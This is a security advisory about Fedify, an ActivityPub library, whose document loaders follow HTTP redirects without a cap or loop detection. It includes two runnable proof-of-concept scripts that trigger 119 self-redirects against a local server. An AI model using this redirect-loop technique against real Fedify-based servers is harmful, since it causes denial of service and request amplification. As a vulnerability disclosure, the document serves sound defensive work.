Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution

Summary

@fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service.

Details

Fedify verifies ActivityPub HTTP signatures by fetching the remote keyId during request processing. The relevant flow is handleInboxInternal() -> verifyRequest() -> fetchKeyInternal() -> document loader.

In affected versions:

• the generic document loader recursively follows 3xx responses by calling load() again on the Location header
• the authenticated redirect path (doubleKnock()) also recursively follows redirects
• neither path enforces a redirect cap or tracks visited URLs to detect self-referential redirect loops

As a result, if an attacker-controlled keyId or actor URL responds with 302 Location: <same URL>, a single ActivityPub request can trigger tens or hundreds of outbound requests before the fetch completes or the request times out.

I confirmed the issue in @fedify/fedify 1.9.1 and 1.9.2. By contrast, Fedify's WebFinger lookup path already has a redirect cap, which suggests the missing bound in the document loader is unintended.

Failed key fetches are not durably negatively cached. After a failed lookup, the null result is only remembered in a request-local cache, so later requests can trigger the same redirect loop again for the same keyId.

PoC

Minimal direct reproduction with the package:

1. Install @fedify/fedify@1.9.2.
2. Save and run the following script:

import http from "node:http";
import { getDocumentLoader } from "@fedify/fedify";

const port = 45679;
let count = 0;
const redirectCount = 120;

const server = http.createServer((req, res) => {
  count += 1;

  if (count < redirectCount) {
    res.writeHead(302, {
      Location: `http://127.0.0.1:${port}/actor`,
    });
    res.end();
    return;
  }

  res.writeHead(200, { "Content-Type": "application/activity+json" });
  res.end(JSON.stringify({
    "@context": "https://www.w3.org/ns/activitystreams",
    "id": `http://127.0.0.1:${port}/actor`,
    "type": "Person"
  }));
});

await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));

try {
  const loader = getDocumentLoader({ allowPrivateAddress: true });
  await loader(`http://127.0.0.1:${port}/actor`);
  console.log({ count });
} finally {
  server.close();
}

3. Observe output similar to:

{ count: 120 }

This shows the loader followed 119 self-redirects before the first non-redirect response.

The authenticated loader used for signed requests shows the same behavior:

import http from "node:http";
import {
  generateCryptoKeyPair,
  getAuthenticatedDocumentLoader,
} from "@fedify/fedify";

const port = 45680;
let count = 0;
const redirectCount = 120;

const server = http.createServer((req, res) => {
  count += 1;

  if (count < redirectCount) {
    res.writeHead(302, {
      Location: `http://127.0.0.1:${port}/actor`,
    });
    res.end();
    return;
  }

  res.writeHead(200, { "Content-Type": "application/activity+json" });
  res.end(JSON.stringify({
    "@context": "https://www.w3.org/ns/activitystreams",
    "id": `http://127.0.0.1:${port}/actor`,
    "type": "Person"
  }));
});

await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));

try {
  const { privateKey } = await generateCryptoKeyPair();
  const loader = getAuthenticatedDocumentLoader(
    {
      privateKey,
      keyId: new URL("https://example.com/users/index#main-key"),
    },
    { allowPrivateAddress: true },
  );

  await loader(`http://127.0.0.1:${port}/actor`);
  console.log({ count });
} finally {
  server.close();
}

Impact

This is an unauthenticated denial-of-service / request amplification issue. Any Fedify-based server that verifies remote keys or loads remote ActivityPub documents can be forced to spend CPU time, worker time, connection slots, and outbound bandwidth following attacker-controlled redirects. A single inbound request can trigger a large number of outbound requests, and the attack can be repeated across requests because failed lookups are not durably negatively cached.

Misc Notes

This issue was surfaced by a Ghost ActivityPub user reporting the issue directly to Ghost. The above report was generated upon further investigation into the issue by the Ghost team. We credit @wrathsec for the discovery.